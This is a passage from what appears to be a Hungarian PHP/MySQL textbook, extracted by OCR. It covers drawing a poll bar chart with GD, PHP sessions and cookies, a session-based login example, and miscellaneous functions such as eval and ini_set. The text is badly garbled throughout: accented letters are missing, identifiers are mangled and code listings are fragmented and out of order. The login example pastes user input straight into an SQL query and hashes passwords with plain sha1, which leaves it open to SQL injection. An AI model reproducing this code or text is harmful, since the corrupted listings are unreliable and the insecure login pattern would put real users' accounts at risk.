vszon idig tart. Ha a $szelesseg s $magassag koordintj pontig rajzolnnk a tglalapot,az kvl esne a rajzvsznon.
Ugyanazt a logikt kvetjk, s ugyanazokat a fggvnyeket hasznljuk, mint amikor az elz kdrszletben kzpre igaz
tottuk s a diagramra rtuk annak feliratt.
Vgezetl az albbi fggvnnyel megrajzoljuk az oszlopok alapvonalt:
imageline($kep, $x, $y-5, $x, $magassag-15, $vonalszin);
Az imageline () fggvny a $vonalszin vltozban meghatrozott szn vonalat rajzol a megadott kpen {$kep) an
nak kt koordintja,jelen esetben a {$x, $y-5 ) s a {$x, $magassag-15 ) pont kztt.
Pldnkban az alapvonalat kicsivel az els oszlop fltt kezdjk meg, s egy kicsivel a rajzvszon alja fltt r vget.
Kszen llunk arra, hogy betltsk az adatokat a diagramba. A kd 4. rszlett a 22.5.4 pldakdban talljuk.
22.5.4 pldakd: eredmenyek_megj eleni tese. php-A 4.
vgzett munkt
/*******************************************
Eredmnyek berajzolsa a diagramra
*******************************************/
ll Adatok kiolvassa az adatbzisbl s a megfelel oszlopok megrajzolsa
while ($sor = $eredmeny->fetch_object())
if ($osszes szavazat > 0)
$szazalek
intval(($sor->szavazatok_szamal$osszes szavazat)*lOO);
else
$szazalek
O;
Kpek ellltsa
347
@imagettfbbox($nagy_meret,
O,
$betutipus,
$szazalek.'%');
$nagy_meret,
O,
$szelesseg-$szazalek_hossza-$szoveg_behuzasa,
$y+($oszlop_magassagal2),
$szazalek szine,
$betutipus,
$szazalek. '%');
$x,
$y-2,
$oszlop_hossza,
$y+$oszlop_magassaga,
$oszlop_
szine);
ll az rtkhez tartoz felirat megjelenitse
@imagettftext($kep,
$nagy_meret,
$szoveg_szine,
O,
$szoveg_behuzasa,
$betutipus,
$y+($oszlop_magassagal2),
"$sor->jelolt");
$oszlop_hossza+l,
$y-2,
($x+(l00*$oszlop_egyseg)),
$y+$oszlop_magassaga,
$vonalszin);
22
ll szmok megjelenitse
@imagettftext($kep,
$kis_meret,
0,
$x+(100*$oszlop_egyseg)-50,
$y+($oszlop_
magassagal2),
$szamok_szine,
$betutipus,
/ *******************************************
Kp megjelenitse
******************************************* /
Header('Content-type:
imagelpng');
imagepng($kep);
/ *******************************************
Erforrsok felszabadtsa
******************************************* /
imagedestroy($kep);
?>
A 4. rsz egyenknt vgigmegy az adatbzisban szerepl jellteken, kiszmrja a rjuk adott voksok szzalkos rtkr, majd
megrajzolja az oszlopokat s a hozz:ijuk tartoz feliratokat.
Megint csak az imagettftext () fggvnnyel ksztjk el a feliratokat, s az imagefilledrectangle() fggvnnyel
rajzoljuk meg az oszlopokat (amelyek kitltssei rendelkez tglalapok):
imagefilledrectangle($kep,
$x,
$y-2,
$oszlop_hossza,
$y+$oszlop_magassaga,
$oszlop_szine);
A 100
imagerectangle($kep,
$oszlop hossza+l,
$y-2,
($x+(100*$oszlop_egyseg)),
$y+$oszlop_magassaga,
$vonalszin);
348
22. fejezet
Ezt a hossz kdot knnyedn mdosthatjuk sajt ignyeinknek megfelelen, illetve hasznlhatjuk arra, hogy felhasznli
felleten keresztl automatikusan lltsunk el szavazsokat. Fontos megemlteni ugyanakkor, hogy a kd semmilyen md
szerrel nem akadlyozza meg az emberi csalst. A felhasznlk knnyen r:ijhemek, hogy jra meg jra szavazhatnak, s gy
knnyen rtelmedenn tehetik az egsz voksolst.
Hasonl megkzeltssel - s nmi matematikai rzkkel - vonal- vagy akr krdiagramokat is rajzolharunk.
Tovbbi olvasnival
Az interneten temrdek anyagat tallunk a tmban. Ha problmba tkznk a kpkezel fggvnyek alkalmazsa sorn,
rdemes lehet tnzni a GD dokumentcijt, mert a PHP fggvnyei ennek a knyvtrnak a burkoli (w rapper). A GD do
kumentcija a http://www.libgd.org/Documentation oldalon rhet el.
Ne feledjk azonban, hogy a GD2 PHP-s verzija az alapknyvtr mdostott vltozata, gy egyes rszletekben eltrhet
attl!
22
A grafikai alkalmazsok klnbz tpusairl kvl oktatanyagokat tallunk a Zend s a Devshed oldaln (http://www.
zend.com, illetve (http://devshed.com).
A fejezetben ltott oszlopdiagramos alkalmazs tlett a Steve Maranda ltal rt, a Devshed oldaln elrhet dinamikus
oszlopdiagram-kszt kd adta.
Hogyan tovbb?
A kvetkez fejezetben a PHP munkamenet-vezrl funkciival ismerkednk meg.
23
Munkamenet--vezrls PHP--ben
A fejezetben a munkamenet-vezrls PHP-beli mkdst ismerhetjk meg. Az albbi fbb tmakrkkel foglalkozunk:
Mi a munkamenet-vezrlsr
Stik
Munkamener belltsnak lpsei
Munkamenet-vltozk
Munkamenet s hitelests
Mi a munkamenetvezrls?
Bi2:onyra hallottuk mr a megllaptst, amely szerint a.,HTTP llapot nlkli protokoll:' Ez azt jelenti, hogy a protokoll nem
rendelkezik beptett mdszerrel a brmely kt tranzakci kztti llapot fenntartsra. Amikor valamely felhasznl lekr egy
oldalt, majd utna egy msikat, a HTTP nem teszi lehetv szmunkra, hogy megllaptsuk vajon mindkt krs ugyanattl
a
felhasznltl rkezett-e.
A munkamenet-vezrls alapgondolata, hogy adott weboldalon vgbemen egyetlen munkamenet (session) alatt kpesek
legynk nyomon kvetni a felhasznlt. Ha ezt meg tudjuk tenni, akkor egyszeren megoldhat az is, hogy a felhasznl be
jelentkezse urn a jogosultsgi szintjnek vagy szemlyes preferencijnak megfelel tartalmat jelentsk meg szmra. Figye
lemmel kvetherjk a felhasznl viselkedst, s meg tudjuk valstani pldul az online kosr funkcit.
A PHP a 4-es verzi ta natv munkamenet-kezel fllggvnyekkel rendelkezik. A szupergloblis vltozk bevezetsvel
kiss mdosult a munkamenet-vezrls megkzeltse, mivel ehhez immr a$_SESSION szupergloblis vltoz is rendelkez
snkre ll.
A munkamenet alapjai
A PHP egyedi munkamenet-azonostval (session
a
ID)
PHP lltja el, majd a kliensoldalon troldik el a munkamenet.,lettartam' alatt. Trolhar a felhasznl szmtgpn
s2:erveren. (Ha hajlandk vagyunk megrni sajt fggvnyeinket, az egyszer fjlok helyett adatbzist is hasznlhatunk; errl
rzik.
Mi astU
A sti (cookie) olyan ks informcicsomag, amit kdjaink a kliensoldali gpen trolnak. A felhasznl gpn gy llthatunk
be stit, hogy az albbi formtum adatokat tartalmaz HTTP fejlcet kldnk nek:
Set-Cookie:
NEV=ERTEK;
[domain=DOMAIN_NEV;]
[expires=DATUM;]
[secure]
[path=ELERESI UTVONAL;]
350
23. fejezet
Ez a fejlc egy NEV nev, ER TEK rtk stit hoz ltre. Az sszes tbbi paramter opcionlis. Az
expires
mezben azt
az idpontot llthatjuk be, amely utn a sti mr nem hasznlhat. (Ha nem llrunk be lejrari idpontot, a sti mindaddig
elrhet, amg a felhasznl vagy mi magunk manulisan ki nem trljk azt.) A
URL-eket llthatjuk be, amelyekre a sti vonatkozik. A
secure
path
s a
dornai n
belltssal azokat az
[,
[,
string ertek
string domain
[,
[,
int lejarat
[,
int secure]]]]])
'ertek');
akkor, amikor a felhasznl megltogatja weboldalunk kvetkez lapjt (vagy jra betlti az aktulis oldalt),
a $_COOKIE [
'sajat_suti' l
setcookie()
A stiket a header () fggvnnyel is bellthatjuk, ha a fggvnyben az elbb mr ismertetett szintaktikt hasznljuk. Fon
tos, hogy a stifejlceket minden ms fejlc eltt kldjk el, msklnben nem fognak mkdni a stik. (Ez a korltozs a stik,
nem pedig a PHP mkdsbl addik.)
23
csolhatjk ket bngszjkben. Rszben emiatt a PHP munkamenetek a sti/URL ketts mdszert hasznljk. (A mdszert
rvidesen bemutatjuk.)
PHP munkamenetek alkalmazsa esetn nem kell a stiket sajt kezleg belltani, mert a munkamenet-fggvnyek elvg
zik helyettnk a feladatot.
A session_get_cookie_params ()
tartalmr. A fggvny az elettartam,
eleresi_utvonal, domain
secure
A stik paramtereit a
session set_cookie_params($elettartam,
_
$eleresi_utvonal,
$domain
[,
$secure]);
Ha szeretnnk tbbet megtudni a stikrl, olvassuk el a Netscape oldaln elrhet specifikcit: http://wp.netscape.com/
newsref/std/cookie_spec.html! (Ne foglalkozzunk azzal, hogy a dokumentum elzetes specifikcinak nevezi nmagt! Ez
1995 ta gy van, s a dokumentum ennl mr csak akkor lenne kzelebb ahhoz, hogy szabvnynak hvjuk, ha tnylegesen
szabvny volna!)
Munkamenet-a:z;onost trolsa
A PHP alaprtelmezsben munkamenetekkel hasznlja a stiket. Ha lehetsges, sti jn ltre a munkamenet-azonost trolsra.
A msik lehetsges mdszer a munkamenet-azonost hozzadsa az URL-hez. Bellthat, hogy sti ltrehozsa helyett
automatikusan ez trtnjen; ehhez be kell kapcsolnunk a ph p. ini fjlban a session.u se_ trans_sid direktvt (alapr
telmezsben ez ki van kapcsolva). Bekapcsolsval azonban vatosan kell bnnunk, mert nveli az oldal biztonsgi kockzatt.
Ha bekapcsoljuk a direktvt, a felhasznl e-mailben msoknak is elkldheti a munkamenet-azonostt tartalmaz URL-t, az
URL-t nyilvnosan elrhet szmtgp is eltrolhatja, illetve egy ilyen gp bngszjnek elzmnyei vagy knyvjelzi kztt
is elrhet lehet.
A munkamenet-azonostt manulisan is begyazhatjuk a hivatkozsokba. Az azonostt a SID konstans trolja. Manulis
tadshoz a
GET
?>">
(XXS) tmadsokat.)
Munkamener-vezrls PHP-ben
351
rdemes megemlteni, hogy ezek a lpsek nem feltrlenl ugyanabban a kdban trtnnek, s van kztk olyan, amely tbb
kdban is elfordul. Vizsgljuk meg egyenknt a fenti lpseket!
Munkamenet indtsa
A munkamenechez ktd funkcik hasznlata eltt el kell indtani a munkamenetet. Krflekppen tehetjk meg ezt.
Az els s legegyszerbb mdja, ha a kdot a session_start() fggvny meghvsval indtjuk:
session start();
A fggvny ellenrzi, van-e folyamatban munkamenet. Ha nincsen, a szupergloblis $_SESSION tmbhz hozzfrst
engedve lnyegben ltrehoz egyet. Folyamatban lv munkamenet esern a session_start () fggvny beclti a regisztrlt
munkamenet-vltozkat, hogy hasznlni tudjuk ket.
Fontos, hogy a session _start ()
az
csalsval teherjk ezr meg; ezt a megkzeltst akkor fogjuk megvizsglni, amikor a konfigurlssal foglalkozunk majd. Ennek
a
mdszernek van egy nagy htrnya: ha az auto_start be van kapcsolva, objektumokat nem hasznlhatunk munkame
ner-vlcozknt. Ennek oka, hogy az objektum osztlydefinciit a munkamener elindtsa elre be kellene tlteni ahhoz, hogy
a munkamenetben ltrejhessenek az objektumok.
23
Munkamenetvltozk regisztrlsa
A kzelmltban megvltozott a munkamenet-vlcozk regisztrlsnak PHP-beli mdszere. A4.1-es verzi ra a munkamener
vlrozkar a$_SESSION tmb trolja. Munkamenec-vlcoz ltrehozshoz egyszeren megadjuk e tmb egy elemr, pldul gy:
$_SESSION['sajat_valtozo'] = 5;
Az gy ltrehozott munkamener-vlcoz a munkamenet vgig vagy addig hasznlhat, amg manulisan nem trljk.
A munkamenet a php. ini f:ijl session.gc_maxlifetime bellrsnak rtkrl fggerr magrl is vget rher. Ez
a
bellts hatrozza meg a munkamenet msodpercben kifejezett idtartamt; ha ez letelik, a szemcgyjt {garbage colleetor)
Munkamenetvltozk hasznlata
A munkamener-vltozk hatkrbe hozshoz munkamenetet kell nyitni a session_start () meghvsval. ( A harkrbe
hozsra a munkamener -vltoz hasznlhatsga miatt van szksg.) Ezr kvererr a $_SESSION szupergloblis rmbn ke
resztl rhetjk el a megfelel vltozr-pldul gy: $_ SESSION[ 'sajat_valtozo'] .
Ha objektumot hasznltunk munkamener-vlrozknt, fontos, hogy a session_start ()
az
osztly definilsa. Ezzel bizrosrjuk, hogy a PHP tisztban legyen vele: hogyan kell ltrehoznia a munkamenec-objektumor.
gyeljnk, amikor- pldul az isset() vagy empty ()
belltottlc-el Emlkezhetnk r, hogy a felhasznJk GET vagy POST mdszerrel llthatjlc be a vltozkat. A$_SESSION
tmbbel dertherjk ki, hogy egy adott vltoz vajon regisztrlt munkamener-vlroz-e.
Pldul a kvetkez mdon ellenrizhetjk ezt:
if (isset($_SESSION['sajat_valtozo'])) ...
352
23. fejezet
s a session_unset ()
szksges, sem nem nlott. Ezeket a fggvnyeket a $_SESSION bevezetse eltt vehettk ignybe.
Vletlenl se prbljuk meg a teljes$_SESSION tmbt trlni, mert ezzel lnyegben kikapcsolnnk a munkameneteket!
Ha egyszerre kvnjuk trlni
a:z
$_SESSION = array{);
utastst!
Ha befejeztk a munkt egy adott munkamenettel, elszr trljk a:z sszes vltozjt, majd a session_destroy() ;
fggvnyt meghvva szabadtsuk fel a munkamenet azonostjt!
vltozt. A:z eh
= "Hell,
vilg!";
tartalma:'
23
tartalma:'
.$ SESSION['munkamenet_valtozo'l.'<br />';
unset($ SESSION['munkamenet_valtozo'll;
?>
<a href="oldal3.php">Kvetkez6 oldal</a>
Munkamenet-vezrls PHP-ben
[ 'munkamenet_valto zo' l
353
----..-.Il
vl
Vgl nzzk az oldal3.php fjlt, pldnk utols kdjt, amit a 23.3 pldakd tartalmaz!
23.3 pldak.d: oldal3.php -A munkamenet befejezse
<?php
session start();
tartalma:
session_destroy();
?>
Miknt a 23.3 brn lthatjuk, a$_SESSION [ 'munkamenet_ valtozo' l rgztett rckt immr nem tudjuk elrni.
AS_S&SS!ONf....__"_,_
$_SESSION tmb elemeir. Ha gy ltjuk, hogy nem tudjuk trlni az elemeket (vagyis azok belltva maradnak), rdemes
Alaprtelmezett
Hatsa
rtke
session.auto start
O (kikapcsolt)
session.cache_expire
180
(percben).
23
354
23. fejezet
Bellts neve
Alaprtelmezett
Hatsa
rtke
session.cookie domain
none
session.cookie lifetime
session.cookie_path
session.name
PHPSESSID
session.save handler
files
meg.
hasznl rendszern.
ltst mdosthatjuk gy, hogy adatbzisra (database) mutasson,
m ebben az esetben st fggvnyeket kell rnunk.
A munkamenetadatok trolsnak elrsi rvonalt hatrozza
session.save_path
l (bekapcsolt)
session.cookie secure
O (kikapcsolt)
session.hash function
o (MD5)
must hatrozza meg. A.O" az MD5 (128 bites), az "l " pedig az
23
Hitelests munkamenet,vezrlssel
A fejezet most kvetkez, utols rszben a munkamenet-vezrlsnek egy igen fontos alkalmazsi terlett lthatjuk.
A munkamenet-vezrlst a leggyakrabban taln a valamilyen bejelentkezsi mechanizmussal hitelestett felhasznlk nyo
mon kvetsre hasznljk. A most kvetkez pldnkban ennek Iehetsgc a MySQL adatbzis segtsgvel elvgzett hitele
srst s a munkamenetek hasznlatt rvzve teremtjk meg. Ez kpezi majd a 27. fejezet projektjnek az alapjt, s ms pro
jektben is felhasznljuk majd ezt a funkcit. A 17. fejezetben ltrehozott hitelestsi adatbzist fogjuk most jbl felhasznlni.
Ennek az adatbzisnak a rszleteit a 17.3 pldakdbl idzhetjk fel.
A plda hrom egyszer kdbl ll. Az els, a hitelesites.php bejelentkezsi felletet s hitelestse knl fel a weboldal
regisztrlt tagjainak. A msodik, a cs ak_tagoknak.php kizrlag a sikeresen bejelentkezert felhasznlk szmra jelent
meg informcit. A harmadik, a ki j elen tkezes.php kddal pedig Icijelentkezhetnek a felhasznlk.
A plda mkdsnek megrtshez nzzk meg a 23.4 brt, amely a hi telesi tes.php ltal megjelentert kezdoldalt
mutatja!
t---+- w
GM..-..,.1Gomb- o-v;.a:o-iGiii&
J ac... __ i
---
23.4 bra: Mivel a felhasznl mg nincsen bejelentkezve, bejelentkezsi felletet kell szmra megjelenteni.
Az oldal bejelentkezsi felletet ad a felhasznlknak. Amennyiben bejelentkezs nlkl ksrlik meg megtekinteni a "Tagok
nak fenntartort tartalmak " -at, a 23.5 brn lthat zenetet kapjk.
Munkamenet-vezrls PHP-ben
355
23.5 bra: A
be nem jelentkezett ltogatk nem ltha9k az oldal tarta/mt, helyette ez az zenet jelenik meg.
_;_;,;n;---.... - ---oi:'t -
fN- .......
---..-.M'
N)itoldal
-- .......-
......
'Tap*._..Wt**
23.6 bra:
23
<?php
session start();
if (isset($_POST['felhasznaloi_nev'])
&&
isset($_POST['Jelszo']))
{
ll ha a felhasznl megprbl bejelentkezni
$felhasznaloi_nev = $_POST['felhasznaloi_nev'];
$jelszo = $ POST['jelszo'];
'webeshitelesites',
'webeshitelesites',
'hitelesites');
if (mysqli connect_errno())
echo 'Nem sikerlt csatlakozni az adatbzishoz:' .mysqli_connect_error();
exit();
$lekerdezes
'SELECT
. "WHERE nev='$felhasznaloi_nev'"
" AND jelszo=shal('$jelszo')";
$eredmeny = $adatbazis_kapcsolat->query($lekerdezes);
if ($eredmeny->num_rows)
356
23.fgezet
$adatbazis kapcsolat->close();
?>
<html>
<body>
<hl>Nyitoldal</hl>
<?
if (isset($ SESSION['ervenyes felhasznalo']))
{
echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />';
echo '<a href="kijelentkezes.php">Kijelentkezs</a><br />';
else
if (isset($felhasznaloi nev))
ll ha a felhasznl megprblt,
23
A fenti kd az eddig ltottaknl kiss sszetettebb logikval mkdik, mert egyrszt megjelenti a bejelentkezshez szks
ges rlapot (felletet), msrszt ez a kd egyttal az rlap ltal meghvott mvelet, harmadrszt a sikeres s sikertelen bejelent
kezsi ksrletre vlaszu! adott HMTL kdot is tartalmazza.
A kd mkdse az ervenyes_felhasznala munkamenet-vltoz krl forog.Az alapgondolat az, hogy ha valaki
sikeresen bejelentkezik, akkor ltrehozunk egy $_SES SI ON ['ervenyes_felhasznalo' J
jt tartalmaz munkamenet-vltozt.
Els lpsnk a kdban a session_start() fggvny meghvsa. Ez betlti az ervenyes felhasznala munkame
_
Munkamenet-vezrls PHP-ben
357
echo '<tr><td>Jelszo:<ltd>';
echo '<td><input type="password" name="jelszo"><ltd><ltr>';
echo '<tr><td colspan="2" align="center">';
echo '<input type="submit" value="Bejelentkezs"><ltd><ltr>';
echo '<ltable><lform>';
Amikor a felhasznl a bejelentkezsi fellet .. Bejelentkezs" gombjra kattint, jbl meghvjuk a kdot, s annak ele
jrl indul minden jra. Most azonban mr rendelkeznk a hitelestshez szksges felhasznli nvvel s jelszval, ami
s a $_POST['jelszo'] vltozban van eltrolva. Ha ezek a vltozk lteznek, a hite
a$_POST['felhasznaloi_nev' l
&&
isset($ POST['jelszo']))
{
ll ha a felhasznl megprbl bejelentkezni
$felhasznaloi_nev = S_POST['felhasznaloi_nev'];
$jelszo = $ POST['jelszo'];
'webauth',
'webauth',
'auth');
if (mysqli_connect_errno())
echo 'Nem sikerlt csatlakozni az adatbzishoz: '.mysqli_connect error();
exit();
$lekerdezes
'SELECT
j elszo=shal('Sjelszo')";
$adatbazis_kapcsolat->query($lekerdezes);
MySQL adarbzishoz kapcsoldunk, s ellenrizzk a felhasznli nevet s jelszc. Amennyiben tallunk megfelel nv
jelsz prt, ltrehozzuk a $_SESSION['ervenyes_ felhasznalo'] vlcozt, amely az adott felhasznl felhasznli nevt
tartalmazza. Ezzel a ksbbiekben kveeni tudjuk, hogy ki is az, aki be van jelentkezve:
if ($eredmeny->num_rows)
$adatbazis kapcsolat->close();
Mivel tudjuk, hogy ki a felhasznl, nem szksges neki jbl megjelenteni a bejelentkezsi felletet. Helyette kzljk vele,
hogy tudjuk, ki , s felkinljuk a kijelentkezs lehetsgc:
if (isset($_SESSION['ervenyes_felhasznalo']))
Ha a felhasznl megprblt bejelentkezni, de az valamilyen oknl fogva nem sikerlc, akkor bireokunkban lesz ugyan a fel
hasznli neve, de a $_ SESSION [ 'ervenyes_felhasznalo'] vltoz nem, ezrt hibazenetet jelentnk meg neki:
if (isset($felhasznaloi_nev))
ll ha a felhasznl megprblt,
Ennyi a kd f rsze. Nzzk meg mosc a ragoknak fenntartott oldalakat! Ennek kdja a 23.5 pldakdban lthat.
23
358
23.fezet
23.5 pldakd: csak_tagoknak.php-A honlap tagoknak fenntartott rsznek kdja ellenrzi a Jelhasznlk jogosultsgt
<?php
session start();
echo '<hl>Tagoknak fenntartott tartalmak</hl>';
ll munkamenet-vltoz ellenrzse
if (isset($ SESSION['ervenyes felhasznalo']))
echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />';
echo '<p>Ide kerlnek a tagoknak fenntartott tartalmak</p>';
else
echo '<p>Nincs bejelentkezve.</p>';
echo '<p>Csak bejelentkezett felhasznlk tekinthetik meg az oldalt.</p>';
23
else
?>
<a href="hitelesites.php">Vissza a nyitoldalra</a>
</body>
</html>
Munkamener-vezrls PHP-ben
359
A kd egyszer, de itt is furnunk kell egy krt. Elindtjuk a munkamenerer, elrroljuk a felhasznl rgi felhasznlnevr, t
rljk az e r ve n yes_ fe l has z na l o vltozr, majd megsznretjk a munkamenerer. Ezr kveten zeneret jelentnk meg
a
felhasznlnak, amelynek rarralma arrl fgg, hogy sikeresen kijelenrkezerr, vagy be sem volt jelentkezve.
A mosr lrorr kdok egyszer sorozara alkotja majd az alapjr annak a sok munknak, amir a ksbbi fejezerekben elvgznk.
Tovbbi olvasnival
A srikrl bvebben a htrp://wp.nerscape.com/ newsreff std/cookie_spec.hrml oldalon olvashatunk.
Hogyan tovbb:
Ezzel egy fejezet hjn befejeztk a knyv ezen rszr. Mielrr tovbblpnnk a nagy projekrekre, rviden mg megismerke
dnk a PHP ms fejezerekben nem trgyalt, mgis hasznos funkciival.
23
24
Tovbbi hasznos lehetsgek
PHP ben
...
A PHP szmos olyan, hasznos fggvnnyel s funkcival is rendelkezik, amely nem volt beilleszthet az eddig trgyalt rmak
rkbe. A fejezetben ezeket fogjuk bemutatni.
Az albbi fbb tmakrkkel foglalkozunk:
Karakterlncok kirtkelse az
Vgrehajts lellrsa a
die
eval ( )
fggvnnyel
s az exit urasrssal
"echo 'Hell,
vilg';" );
urasrs pldul fogja a szering tartalmt s vgrehajtja. Ez a sor ugyanazt a kimenetet eredmnyezi, mint az
echo 'Hell,
Az eval
()
vilg';
fggvny szmos esetben hasznunkra vlhat. Kpzeljk el pldul azt, hogy a kdblokkokat adatbzisban trol
juk, hogy a ksbbiekben valamikor vgrehajtsuk azokat! Az is elkpzelhet, hogy ciklusban lv kdot szeretnnk ellltani,
majd az eval () segtsgvel egy ksbbi idpontban lefuttatjuk.
Az eval () fggvnyt leggyakrabban azonban taln a sablonokkal vgzett munka sorn hasznljuk. Kpzeljk el, hogy
adatbzisbl HTML, PHP s egyszer szveg tetszleges kombincijt tltjk be! Sablonrendszernkkel megfelel form
zst alkalmazharunk a kdra, majd az eval ( ) fggvny meghvsval brmilyen PHP kdot lefuttatharunk.
A fggvny kivlan alkalmas meglv kd frisstsre vagy kijavtsra is. Ha komolyabb mennyisg olyan kdunk len
ne, amely elrelthatlag mdostsra fog szorulni, rhatnnk olyan programot, amely karakterlncba tlti be a rgi kdot,
a regexp futtatsval vgrehajtja a vltoztatsokat, majd az eval () fggvnnyel futtatja a mdostott kdot. (Elvileg ugyan
valban megrehetjk ezt, mgsem ez a leghatkonyabb megolds az ilyen esetekre.)
Akr az is megoldhat a fggvnnyel, hogy nagyon megbzhat felhasznlknak lehetsget adjunk PHP kd tvoli, bng
szn keresztli bevitelre s a kiszolgln val futtatsra.
kd most
vget r');
362
24. fejezet
Ennl azonban gyakrabban elfordul, hogy az OR opertorral egytt hasznljuk ezeker az utastsokat. Ebben az esetben
a kd lellrsra akkor kerl sor, ha az utasts, pldul f:ijl megnyitsa vagy adarbzishoz kapcsolds nem sikerl:
mysql_query($lekerdezes) or die('A lekrdezst nem sikerlt vgrehajtani');
Pusztn a hibazenet megjelentse helyett meghvharunk mg egy, a kd lelltsa eltti utols fggvnyt:
function err_msg()
Ezzel a mdszerrel kzlhetjk a felhasznlval, hogy milyen hiba trtnt a kdban, lezrharunk HTML elemeket, vagy
trlhetjk a flksz oldalakat a kimeneti pufferbL Lehetsgnk nylik akr arra is, hogy komolyabb hiba esetn e-mailben
ttestsk sajt magunkat, hozza<ljuk a hibkat a naplfjlhoz, vagy kivtelt vltsunk ki.
Ha nem egyrtelm szmunkra, hogy pontosan mir tesz a szerializls, nzzk meg a serialize () fggvny ltal vissza
adott rtket! A fenti sor karakterlncc alaktja az objektum vagy tmb tartalmr.
Nzzk meg a serialize( ) futtatsnak eredmnyt egy egyszer, a kvetkezkppen definilt objektumon, amelynek
egy pldnyt is ltrehozza az albbi kd:
class alkalmazott
24
var $nev;
var $alkalmazott id;
Az osztlyok szerializlsval vagy munkamener-vlrozknt trtn hasznlarukkal kapcsolatban mg egy fontos dolgot
meg kell emltennk: a PHP-nek az osztlypldny helyrelltsa eltt tisztban kell lennie az adott osztly szerkezetvel, ezrt
a session_start() s az unserialize () fggvny meghvsa eltt be kell illesztennk a kdba az osztlydefincit tar
talmaz llomnyt.
Informcigyjts
363
PHP-krnyezetrl
<?php
echo
'A telepts
$bovitmenyek
/>';
get_loaded_extensions();
echo
echo
'<ul>' ;
$bovitmenyek_fuggvenye1
foreach($bovitmenyek_fuggvenyei as $fuggveny)
{
echo
echo '</ul>';
?>
A kd tulajdonosnak azonostsa
Az ppen fut kd tulajdonost a get_current_user() fggvny meghvsval llapthatjuk meg:
echo get_current_user();
az
interneten, hogy az egyes oldalakon megjelentik a tartalom utols mdostsnak dtumt. A kd utols
mdostsnak idpontjt a getlastmod () fggvnnyel derthetjk ki. Figyeljk meg, hogy a fggvny nevben nincsen alul
vons! A kvetkezkppen hasznljuk:
echo date('g:i a, j
Y',getlastmod());
A getlastmod() fggvny Unix idblyeggel tr vissza, amit a date () fggvnynek tadva kapunk az emberi szem sz
mra olvashat dtumot.
24
364
24. fejezet
vltozinak tlltsa
<?php
$regi_max_execution_time = ini_set('max_execution time',
echo "idtllps rgi hatra:
120);
$regi_max_execution_time <br
/>";
"idtllps j
hatra:
/>";
?>
Az ini_set(l fggvny kt paramtert fogad. Az els a php.ini azon konfigurcis direktivjnak a neve,amit mdo
stani kvnunk,a msodik paramter pedig a hozzrendelni kvnt j rtk. A fggvny visszatrsi rtke a direktva elz
rtke.
A pldban a kd maximlis futsi idejt az alaprtelmezett 30 msodperces (vagy a php. ini fjlban meghatrozott ms)
rtkrl l 20 msodpercre lltjuk t.
Az ini_get() fggvny egyszeren csak ellenrzi egy adott konfigurcis direktva rtkr. A fggvnynek karakterlnc
knt kell tadni a direktva nevt. Itt most pusztn arra hasznljuk,hogy ellenrizzk,tnyleg megvltozott-e az adott rtk.
Nem minden ini bellts mdosthat gy. Minden direktivhoz tartozik egy szint,amelyen az adott direktva bellthat.
A lehetsges szintek a kvetkezk:
PHP_INI_USER-Az ini_set(l fggvnnyel kdjainkban is bellthatjuk ezeket az rtkeket.
PHP_INI_PERDIR-Apache hasznlata esetn a php.ini vagy a . htaccess vagy a httpd.conf fjlokban m
dosthatjuk ezeket az rtkeket. Az,hogy a .htaccess fjlokban is mdosthatk,azt jelenti,hogy ezeket az rtkeket
akr knyvtranknt is megvltoztathatjuk -innen a szint neve (per-directory).
PHP_INI_ SYSTEM -A php.ini s a httpd. conf fjlokban llthatjuk be ezeket az rtkeket.
PHP_INI_ALL -Az sszes elbb emltett mdon-vagyis kdban,. htaccess f:ijlban vagy a httpd.conf vagy
24
php. ini
Az ini belltsok teljes listjt,illetve mdosthatsgi szintjeiket a PHP kziknyv http://www.php.net/ini_set cmen
elrhet oldaln talljuk.
Forrskd sznkiemelse
A PHP- sok ms integrlt fejlesztkrnyezethez (IDE) hasonlan-beptett szintaktikai sznkiemelvel rendelkezik. Ez
elssorban akkor igazn hasznos,ha megosztjuk msokkal,vagy weboldalon tesszk kzz kdunkat.
A show_source () s highlight_file (l fggvny egymssal teljesen megegyezik. (A show_source(l fggvny tulaj
donkppen a highlight_file() aliasa.) Mindkt fggvny fjlnevet vr paramterknt. (Az llomnynak PHP fjlnak kell
lennie,klnben nem fogunk rtelmes eredmnyhez jutni.) Nzzk meg a kvetkez pldt:
show_source('fuggvenyek_listaja.php'l;
A f:ijl ekkor gy jelenik meg a bngszben,hogy klnbz elemei,gy a sztringek,a megjegyzsek,a kulcsszavak s
a HTML ms-ms sznnel vannak kiemelve. A kimenet valamilyen httrsznerr jelenik meg. A fenti kategrikba nem tartoz
kdelemek az alaprtelmezett sznnel jelennek meg.
A highlight_string() fggvny is hasonlan mkdik,m a fjlnv helyett karakterlncot vr paramterknt, s azt
jelenti meg a bngszben szintaktikai sznkiemelssel.
A kiemelshez hasznlt szneket a php. ini fjlban vlaszthatjuk ki. A mdosthat rsz ehhez hasonlan nz ki:
;
#DDOOOO
highlight.string =
#FF9900
highlight.comment
highlight.keyword
#007700
highlight.bg
365
*FFFFFF
highlight.default #OOOOBB
highlight.html #000000
A myscript.php egy teljesen ltalnos PHP fjl, amely PHP cmkken (tag) bell tartalmaz minden szoksos PHP
szintaktikt.
Brmilyen program kapcsoldhat a PHP-hoz pipe-on keresztl, ha annak kimenere rvnyes, a PHP rtelmez ltal vgre
hajthat kdot eredmnyez. A kvetkez plda az echo programot hasznlva ad egysoros programot:
echo '<?php for($il; $i<l0; $i++) echo $i; ?>' l php
A PHP kdot itt is PHP cmkk (<?php s?>) fogjk kzre. Fontos megjegyezni, hogy ez itt az echo parancssori prog
ram, nem pedig PHP utasts.
Egy ilyen jelleg, egysoros prograrnot egyszerbb lenne kzvetlenl parancssorbl futtatni, mint az albbi pldban:
php -r
'for($il;
$i<l0; $i++)
echo $i;'
Itt kicsit msrl van sz. A karakterlncban radott PHP kd nincsen PHP cmkk ltal kzrefogva. PHP cmkk haszn
lata esetn szintaktikai hibt kapnnk.
A parancssori hasznlatra rhat hasznos PHP programok kre szinte korltlan. rhatunk PHP alkalmazsainkhoz tele
ptket. sszethetnk gyors kdot a szveges fjlok adatbzisba importls eltti tformzsra. Akr olyan kdot is lt
rehozhatunk, amely a parancssorban rnk vr, ismtld feladatokat vgzi el helyettnk. J plda erre egy olyan kd, amely
a fejlesztshez hasznlt kiszolglnkrl az lesben mkd szerverre msolja t az sszes PHP fjlt, kpet s MySQL tbla
szerkezetet.
